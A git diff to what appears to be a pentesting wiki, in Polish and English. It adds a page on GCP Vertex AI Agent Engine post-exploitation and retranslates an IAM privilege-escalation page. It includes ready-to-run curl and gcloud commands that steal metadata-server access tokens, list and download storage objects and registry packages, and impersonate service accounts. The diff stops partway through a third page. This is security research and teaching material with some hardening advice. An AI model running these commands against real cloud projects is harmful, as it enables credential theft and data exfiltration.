diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md new file mode 100644 index 000000000..935262fad --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md @@ -0,0 +1,271 @@ +# GCP - Vertex AI Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Vertex AI Agent Engine / Reasoning Engine + +Ta strona koncentruje się na obciążeniach **Vertex AI Agent Engine / Reasoning Engine**, które uruchamiają narzędzia lub kod kontrolowany przez atakującego wewnątrz zarządzanego przez Google środowiska uruchomieniowego. + +For the general Vertex AI overview check: + +{{#ref}} +../gcp-services/gcp-vertex-ai-enum.md +{{#endref}} + +For classic Vertex AI privesc paths using custom jobs, models, and endpoints check: + +{{#ref}} +../gcp-privilege-escalation/gcp-vertex-ai-privesc.md +{{#endref}} + +### Why this service is special + +Agent Engine wprowadza użyteczny, ale niebezpieczny wzorzec: **kod dostarczony przez dewelopera uruchamiający się wewnątrz zarządzanego przez Google runtime z tożsamością zarządzaną przez Google**. + +Interesujące granice zaufania to: + +- **Consumer project**: twój projekt i twoje dane. +- **Producer project**: projekt zarządzany przez Google obsługujący backend usługi. +- **Tenant project**: projekt zarządzany przez Google przeznaczony na wdrożoną instancję agenta. + +Zgodnie z dokumentacją Vertex AI IAM, zasoby Vertex AI mogą używać **Vertex AI service agents** jako tożsamości zasobów, a te service agents mogą domyślnie mieć **read-only access to all Cloud Storage resources and BigQuery data in the project**. Jeżeli kod uruchomiony w Agent Engine może ukraść poświadczenia środowiska uruchomieniowego, ten domyślny dostęp staje się od razu interesujący. + +### Main abuse path + +1. Wdróż lub zmodyfikuj agenta tak, aby kod narzędzia kontrolowanego przez atakującego wykonywał się wewnątrz zarządzanego runtime. +2. Zapytaj **metadata server**, aby odzyskać tożsamość projektu, tożsamość konta serwisowego, zakresy OAuth oraz access tokens. +3. Wykorzystaj ponownie skradziony token jako **Vertex AI Reasoning Engine P4SA / service agent**. +4. Pivotuj do **consumer project** i odczytaj dane storage dostępne w całym projekcie, do których service agent ma dostęp. +5. Pivotuj do środowisk **producer** i **tenant** osiągalnych tą samą tożsamością. +6. Wypisz wewnętrzne pakiety Artifact Registry i wydobądź artefakty wdrożeniowe tenantów, takie jak `Dockerfile.zip`, `requirements.txt` i `code.pkl`. + +To nie jest tylko problem "uruchom kod w swoim agencie". Kluczowy problem to kombinacja: + +- **metadata-accessible credentials** +- **broad default service-agent privileges** +- **wide OAuth scopes** +- **multi-project trust boundaries hidden behind one managed service** + +## Enumeration + +### Identify Agent Engine resources + +The resource name format used by Agent Engine is: +```text +projects//locations//reasoningEngines/ +``` +Jeśli masz token z dostępem do Vertex AI, wyenumeruj bezpośrednio Reasoning Engine API: +```bash +PROJECT_ID= +LOCATION= + +curl -s \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines" +``` +Sprawdź logi wdrożenia, ponieważ mogą leakować **internal producer Artifact Registry paths** używane podczas pakowania lub uruchamiania runtime: +```bash +gcloud logging read \ +'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \ +--project \ +--limit 50 \ +--format json +``` +Badanie Unit 42 zaobserwowało wewnętrzne ścieżki takie jak: +```text +us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine +us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod +``` +## Kradzież poświadczeń metadanych z runtime agenta + +Jeśli możesz uruchomić kod w runtime agenta, najpierw zapytaj usługę metadanych: +```bash +curl -H 'Metadata-Flavor: Google' \ +'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true' +``` +Interesujące pola obejmują: + +- identyfikatory projektów +- przypisany service account / service agent +- zakresy OAuth dostępne dla runtime + +Następnie zażądaj tokena dla przypisanej tożsamości: +```bash +curl -H 'Metadata-Flavor: Google' \ +'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' +``` +Zweryfikuj token i sprawdź przyznane scopes: +```bash +TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \ +'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)" + +curl -s \ +-H 'Content-Type: application/x-www-form-urlencoded' \ +-d "access_token=${TOKEN}" \ +https://www.googleapis.com/oauth2/v1/tokeninfo +``` +> [!WARNING] +> Google zmienił części workflow wdrożeniowego ADK po opublikowaniu badań, więc dokładne stare fragmenty wdrożeniowe mogą już nie pasować do aktualnego SDK. Ważny prymityw pozostaje jednak ten sam: **if attacker-controlled code executes inside the Agent Engine runtime, metadata-derived credentials become reachable unless additional controls block that path**. + +## Consumer-project pivot: service-agent data theft + +Po skradzeniu tokena runtime sprawdź faktyczny poziom dostępu service-agent względem projektu konsumenckiego. + +Udokumentowaną, domyślnie ryzykowną możliwością jest szeroki **dostęp do odczytu danych projektu**. Badania Unit 42 konkretnie potwierdziły: + +- `storage.buckets.get` +- `storage.buckets.list` +- `storage.objects.get` +- `storage.objects.list` + +Praktyczne sprawdzenie przy użyciu skradzionego tokena: +```bash +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b?project=" + +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b//o" + +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b//o/?alt=media" +``` +To zamienia skompromitowanego lub złośliwego agenta w **prymityw do eksfiltracji danych z pamięci masowej obejmujący cały projekt**. + +## Pivot w projekcie producenta: dostęp do wewnętrznego Artifact Registry + +Ta sama skradziona tożsamość może również działać przeciwko **Google-managed producer resources**. + +Rozpocznij od przetestowania wewnętrznych URI repozytoriów odzyskanych z logów. Następnie wyenumeruj pakiety za pomocą Artifact Registry API: +```python +packages_request = artifactregistry_service.projects().locations().repositories().packages().list( +parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension" +) +packages_response = packages_request.execute() +packages = packages_response.get("packages", []) +``` +Jeśli masz tylko raw bearer token, wywołaj REST API bezpośrednio: +```bash +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://artifactregistry.googleapis.com/v1/projects//locations//repositories/llm-extension/packages" +``` +To jest cenne nawet jeśli dostęp do zapisu jest zablokowany, ponieważ ujawnia: + +- wewnętrzne nazwy obrazów +- przestarzałe obrazy +- strukturę łańcucha dostaw +- inwentarz pakietów i wersji do dalszych badań + +For more Artifact Registry background check: + +{{#ref}} +../gcp-services/gcp-artifact-registry-enum.md +{{#endref}} + +## Tenant-project pivot: pobieranie artefaktów wdrożeniowych + +Wdrożenia Reasoning Engine również pozostawiają interesujące artefakty w **tenant project** kontrolowanym przez Google dla tej instancji. + +Badanie Unit 42 wykazało: + +- `Dockerfile.zip` +- `code.pkl` +- `requirements.txt` + +Użyj skradzionego tokena, aby zenumerować dostępne magazyny i wyszukać artefakty wdrożeniowe: +```bash +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b?project=" +``` +Artefakty z projektu najemcy mogą ujawnić: + +- wewnętrzne nazwy bucketów +- wewnętrzne odwołania do image'ów +- założenia dotyczące packagingu +- listy zależności +- serializowany agent code + +Blog zaobserwował także wewnętrzne odniesienie takie jak: +```text +gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip +``` +Nawet gdy odwoływany restricted bucket nie jest czytelny, those leaked paths pomagają zmapować wewnętrzną infrastrukturę. + +## `code.pkl` and conditional RCE + +If the deployment pipeline stores executable agent state in **Python `pickle`** format, treat it as a high-risk target. + +The immediate issue is **poufność**: + +- deserializacja w trybie offline może ujawnić strukturę kodu +- format pakietu leaks szczegóły implementacji + +The bigger issue is **conditional RCE**: + +- jeśli atakujący może zmodyfikować zserializowany artefakt przed service-side deserialization +- a pipeline później załaduje ten pickle +- dowolne wykonanie kodu staje się możliwe wewnątrz zarządzanego runtime + +This is not a standalone exploit by itself. It is a **dangerous deserialization sink** that becomes critical when combined with any artifact write or supply-chain tampering primitive. + +## OAuth scopes and Workspace blast radius + +The metadata response also exposes the **OAuth scopes** attached to the runtime. + +If those scopes are broader than the minimum required, a stolen token may become useful against more than GCP APIs. IAM still decides whether the identity is authorized, but broad scopes increase blast radius and make later misconfigurations more dangerous. + +If you find Workspace-related scopes, cross-check whether the compromised identity also has a path to Workspace impersonation or delegated access: + +{{#ref}} +../gcp-to-workspace-pivoting/README.md +{{#endref}} + +## Utwardzanie / wykrywanie + +### Prefer a custom service account over the default managed identity + +Current Agent Engine documentation supports setting a **custom service account** for the deployed agent. That is the cleanest way to reduce blast radius: + +- usuń zależność od domyślnego service agenta o szerokich uprawnieniach +- przyznaj tylko minimalne uprawnienia wymagane przez agenta +- spraw, aby tożsamość runtime była audytowalna i świadomie ograniczona + +### Validate the actual service-agent access + +Sprawdź rzeczywisty dostęp service agenta Vertex AI w każdym projekcie, w którym używany jest Agent Engine: +```bash +gcloud projects get-iam-policy \ +--format json | jq ' +.bindings[] +| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re"))) +' +``` +Skoncentruj się na tym, czy przypisana tożsamość może odczytać: + +- all GCS buckets +- BigQuery datasets +- Artifact Registry repositories +- secrets lub internal registries reachable from build/deployment workflows + +### Traktuj kod agenta jako uprzywilejowane wykonanie kodu + +Każde narzędzie/funkcja uruchamiana przez agenta powinno być przeglądana, tak jakby było kodem uruchomionym na VM z dostępem do metadata. W praktyce oznacza to: + +- review agent tools for direct HTTP access to metadata endpoints +- review logs for references to internal `pkg.dev` repositories and tenant buckets +- review any packaging path that stores executable state as `pickle` + +## Referencje + +- [Double Agents: Exposing Security Blind Spots in GCP Vertex AI](https://unit42.paloaltonetworks.com/double-agents-vertex-ai/) +- [Deploy an agent - Vertex AI Agent Engine](https://docs.cloud.google.com/agent-builder/agent-engine/deploy) +- [Vertex AI access control with IAM](https://docs.cloud.google.com/vertex-ai/docs/general/access-control) +- [Service accounts and service agents](https://docs.cloud.google.com/iam/docs/service-account-types#service-agents) +- [Authorization for Google Cloud APIs](https://docs.cloud.google.com/docs/authentication#authorization-gcp) +- [pickle - Python object serialization](https://docs.python.org/3/library/pickle.html) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md index 7f018651e..decd58eaf 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md @@ -12,16 +12,16 @@ Więcej informacji o IAM znajdziesz w: ### `iam.roles.update` (`iam.roles.get`) -Atakujący z wymienionymi uprawnieniami będzie mógł zaktualizować rolę przypisaną tobie i nadać dodatkowe uprawnienia do innych zasobów, takich jak: +Atakujący z wymienionymi uprawnieniami będzie mógł zaktualizować rolę przypisaną tobie i nadać ci dodatkowe uprawnienia do innych zasobów, takich jak: ```bash gcloud iam roles update --project --add-permissions ``` -Możesz znaleźć skrypt automatyzujący **tworzenie, exploit i czyszczenie środowiska vuln tutaj** oraz skrypt w pythonie do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Możesz znaleźć skrypt automatyzujący **tworzenie, exploit i sprzątanie środowiska vuln tutaj** oraz skrypt Pythona do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ```bash gcloud iam roles update --project --add-permissions ``` ### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy` -Uprawnienie iam.roles.create pozwala na tworzenie ról niestandardowych w projekcie/organizacji. W rękach atakującego jest to niebezpieczne, ponieważ umożliwia zdefiniowanie nowych zestawów uprawnień, które mogą później zostać przypisane do podmiotów (na przykład przy użyciu uprawnienia iam.serviceAccounts.setIamPolicy) w celu eskalacji uprawnień. +Uprawnienie iam.roles.create pozwala na tworzenie niestandardowych ról w projekcie/organizacji. W rękach atakującego jest to niebezpieczne, ponieważ umożliwia zdefiniowanie nowych zestawów uprawnień, które później mogą zostać przypisane podmiotom (na przykład przy użyciu uprawnienia iam.serviceAccounts.setIamPolicy) w celu eskalacji uprawnień. ```bash gcloud iam roles create \ --project= \ @@ -31,32 +31,38 @@ gcloud iam roles create \ ``` ### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`) -Atakujący posiadający wymienione uprawnienia będzie mógł **request an access token that belongs to a Service Account**, więc możliwe jest uzyskanie access tokenu Service Account o większych uprawnieniach niż nasze. +Atakujący posiadający wymienione uprawnienia będzie mógł **zażądać access tokenu należącego do Service Account**, więc możliwe jest uzyskanie access tokenu Service Account z większymi uprawnieniami niż nasze. + +Dla **wariantu opartego na zasobach**, w którym kod kontrolowany przez atakującego kradnie **managed Vertex AI Agent Engine runtime token** z metadata service i ponownie używa go jako Vertex AI service agent, sprawdź: + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} ```bash gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \ auth print-access-token ``` -Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) oraz skrypt w Pythonie do wykorzystania tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Aby uzyskać więcej informacji, sprawdź [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Znajdziesz skrypt automatyzujący [**tworzenie, exploit i czyszczenie vuln environment**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) oraz skrypt w pythonie do nadużycia tego uprawnienia [**tutaj**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Po więcej informacji sprawdź [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccountKeys.create` -Atakujący z wymienionymi uprawnieniami będzie w stanie **utworzyć klucz zarządzany przez użytkownika dla Service Account**, co pozwoli nam uzyskać dostęp do GCP jako ten Service Account. +Atakujący z wymienionymi uprawnieniami będzie w stanie **utworzyć user-managed key dla Service Account**, co pozwoli nam uzyskać dostęp do GCP jako ten Service Account. ```bash gcloud iam service-accounts keys create --iam-account /tmp/key.json gcloud auth activate-service-account --key-file=sa_cred.json ``` -Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) oraz skrypt w Pythonie do wykorzystania tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Możesz znaleźć skrypt automatyzujący [**utworzenie, exploit i sprzątanie środowiska z luką tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) oraz skrypt w Pythonie do nadużycia tego uprawnienia [**tutaj**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Dla większej ilości informacji sprawdź [**oryginalne badanie**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). -Zwróć uwagę, że **`iam.serviceAccountKeys.update` won't work to modify the key** of a SA ponieważ do tego potrzebne jest również uprawnienie `iam.serviceAccountKeys.create`. +Zwróć uwagę, że **`iam.serviceAccountKeys.update` nie zadziała, aby zmodyfikować klucz** SA, ponieważ do tego potrzebne jest także uprawnienie `iam.serviceAccountKeys.create`. ### `iam.serviceAccounts.implicitDelegation` -Jeśli masz uprawnienie **`iam.serviceAccounts.implicitDelegation`** na Service Account, który ma uprawnienie **`iam.serviceAccounts.getAccessToken`** na trzecim Service Account, możesz użyć implicitDelegation, aby **create a token for that third Service Account**. Poniżej diagram wyjaśniający. +Jeśli masz uprawnienie **`iam.serviceAccounts.implicitDelegation`** na Service Account, który ma uprawnienie **`iam.serviceAccounts.getAccessToken`** względem trzeciego Service Account, możesz użyć implicitDelegation, aby **utworzyć token dla tego trzeciego Service Account**. Poniżej diagram, który to wyjaśnia. ![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png) -Zwróć uwagę, że zgodnie z [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), delegacja `gcloud` działa tylko do wygenerowania tokena przy użyciu metody [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Poniżej jak uzyskać token korzystając bezpośrednio z API: +Zwróć uwagę, że zgodnie z [**dokumentacją**](https://cloud.google.com/iam/docs/understanding-service-accounts), delegacja `gcloud` działa tylko do wygenerowania tokena przy użyciu metody [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Poniżej sposób na uzyskanie tokena bezpośrednio za pomocą API: ```bash curl -X POST \ 'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \ @@ -67,23 +73,23 @@ curl -X POST \ "scope": ["https://www.googleapis.com/auth/cloud-platform"] }' ``` -Możesz znaleźć skrypt do automatyzacji [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) oraz skrypt w Pythonie do nadużycia tego przywileju [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.signBlob` -Atakujący z wymienionymi uprawnieniami będzie w stanie **podpisać dowolne payloady w GCP**. Oznacza to, że będzie możliwe **utworzenie niepodpisanego JWT należącego do SA, a następnie wysłanie go jako blob, aby uzyskać podpis JWT** przez docelowy SA. Więcej informacji znajdziesz [**tutaj**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed). +Atakujący z wymienionymi uprawnieniami będzie mógł **sign of arbitrary payloads in GCP**. Dlatego będzie możliwe **create an unsigned JWT of the SA and then send it as a blob to get the JWT signed** przez SA, które jest celem ataku. For more information [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed). -Możesz znaleźć skrypt do automatyzacji [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) oraz skrypt w Pythonie do nadużycia tego przywileju [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) i [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.signJwt` -Atakujący z wymienionymi uprawnieniami będzie mógł **podpisać prawidłowo sformowane JSON Web Tokeny (JWT)**. Różnica w stosunku do poprzedniej metody polega na tym, że **zamiast sprawiać, by google podpisał blob zawierający JWT, używamy metody signJWT, która od razu oczekuje JWT**. Ułatwia to użycie, ale pozwala podpisać tylko JWT, zamiast dowolnych bajtów. +Atakujący z wymienionymi uprawnieniami będzie mógł **sign well-formed JSON web tokens (JWTs)**. Różnica w stosunku do poprzedniej metody polega na tym, że **zamiast zmuszać google do podpisania bloba zawierającego JWT, używamy metody signJWT, która oczekuje już JWT**. To ułatwia użycie, ale można podpisywać tylko JWT zamiast dowolnych bytes. -Możesz znaleźć skrypt do automatyzacji [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) oraz skrypt w Pythonie do nadużycia tego przywileju [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.setIamPolicy` -Atakujący z wymienionymi uprawnieniami będzie mógł **dodać polityki IAM do service accounts**. Można to wykorzystać, aby **przyznać sobie** uprawnienia potrzebne do impersonacji service account. W poniższym przykładzie przyznajemy sobie rolę `roles/iam.serviceAccountTokenCreator` nad interesującym SA: +Atakujący z wymienionymi uprawnieniami będzie mógł **add IAM policies to service accounts**. Można to nadużyć, aby **grant yourself** uprawnienia potrzebne do impersonate the service account. W poniższym przykładzie przyznajemy sobie rolę `roles/iam.serviceAccountTokenCreator` nad interesującym SA: ```bash gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ --member="user:username@domain.com" \ @@ -94,25 +100,25 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i --member="user:username@domain.com" \ --role="roles/iam.serviceAccountUser" ``` -Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** +You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** ### `iam.serviceAccounts.actAs` -Uprawnienie **iam.serviceAccounts.actAs** jest podobne do uprawnienia **iam:PassRole permission from AWS**. Jest niezbędne do wykonywania zadań, takich jak uruchomienie instancji Compute Engine, ponieważ daje możliwość „actAs” Service Account, zapewniając bezpieczne zarządzanie uprawnieniami. Bez tego użytkownicy mogą uzyskać nadmierny dostęp. Dodatkowo wykorzystanie **iam.serviceAccounts.actAs** obejmuje różne metody, z których każda wymaga zestawu uprawnień, w przeciwieństwie do innych metod, które potrzebują tylko jednego. +Uprawnienie **iam.serviceAccounts.actAs** jest podobne do uprawnienia **iam:PassRole z AWS**. Jest niezbędne do wykonywania zadań, takich jak uruchamianie instancji Compute Engine, ponieważ daje możliwość "actAs" Service Account, zapewniając bezpieczne zarządzanie uprawnieniami. Bez tego użytkownicy mogliby uzyskać nadmierny dostęp. Dodatkowo, wykorzystanie **iam.serviceAccounts.actAs** obejmuje różne metody, z których każda wymaga zestawu uprawnień, w przeciwieństwie do innych metod, które potrzebują tylko jednego. #### Service account impersonation Podszywanie się pod Service Account może być bardzo przydatne do **uzyskania nowych i lepszych uprawnień**. Istnieją trzy sposoby, w jakie możesz [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): -- Uwierzytelnianie **using RSA private keys** (patrz wyżej) -- Autoryzacja **using Cloud IAM policies** (omówione tutaj) -- **Deploying jobs on GCP services** (bardziej dotyczy kompromitacji konta użytkownika) +- Uwierzytelnianie za pomocą **RSA private keys** (omówione powyżej) +- Autoryzacja za pomocą **Cloud IAM policies** (omówione tutaj) +- Uruchamianie zadań na usługach GCP (bardziej istotne przy kompromitacji konta użytkownika) ### `iam.serviceAccounts.getOpenIdToken` -Atakujący posiadający wymienione uprawnienia będzie w stanie wygenerować OpenID JWT. Służą one do potwierdzania tożsamości i niekoniecznie zawierają domyślną autoryzację do zasobu. +Atakujący z wymienionymi uprawnieniami będzie mógł wygenerować OpenID JWT. Służą one do potwierdzania tożsamości i niekoniecznie zawierają domyślne uprawnienia do zasobu. -Zgodnie z tym [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), konieczne jest określenie audience (usługi, w której chcesz użyć tokena do uwierzytelnienia) i otrzymasz JWT podpisany przez google wskazujący service account oraz audience JWT. +Zgodnie z tym [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), trzeba wskazać audience (serwis, w którym chcesz użyć tokenu do uwierzytelnienia), a otrzymasz JWT podpisany przez google, wskazujący service account i audience JWT. Możesz wygenerować OpenIDToken (jeśli masz dostęp) za pomocą: ```bash @@ -121,18 +127,18 @@ gcloud auth activate-service-account --key-file=/path/to/svc_account.json # Then, generate token gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com ``` -Następnie możesz po prostu użyć go, aby uzyskać dostęp do usługi za pomocą: +Następnie możesz go po prostu użyć, aby uzyskać dostęp do usługi za pomocą: ```bash curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app ``` -Niektóre usługi, które obsługują uwierzytelnianie za pomocą tego typu tokenów to: +Niektóre usługi, które obsługują uwierzytelnianie za pomocą tego rodzaju tokenów, to: - [Google Cloud Run](https://cloud.google.com/run/) - [Google Cloud Functions](https://cloud.google.com/functions/docs/) - [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto) - [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (jeśli używasz Google OIDC) -Przykład, jak utworzyć token OpenID w imieniu konta serwisowego znajdziesz [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py). +Przykład, jak utworzyć token OpenID w imieniu konta usługi, znajdziesz [**tutaj**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py). ## Referencje diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md index fc56dd145..18861e306 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md @@ -4,23 +4,29 @@ ## Vertex AI -Więcej informacji o Vertex AI znajdziesz: +Aby uzyskać więcej informacji o Vertex AI, sprawdź: {{#ref}} ../gcp-services/gcp-vertex-ai-enum.md {{#endref}} +Dla ścieżek post-exploitation dotyczących Agent Engine / Reasoning Engine, które wykorzystują runtime metadata service, domyślnego Vertex AI service agent oraz cross-project pivoting do zasobów consumer / producer / tenant, zobacz: + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} + ### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs` -Posiadając uprawnienie `aiplatform.customJobs.create` oraz `iam.serviceAccounts.actAs` na docelowym koncie usługi, atakujący może **wykonać dowolny kod z podwyższonymi uprawnieniami**. +Posiadając uprawnienie `aiplatform.customJobs.create` oraz `iam.serviceAccounts.actAs` na docelowym service account, atakujący może **wykonać dowolny kod z podwyższonymi uprawnieniami**. -Polega to na utworzeniu custom training job, który uruchamia kod kontrolowany 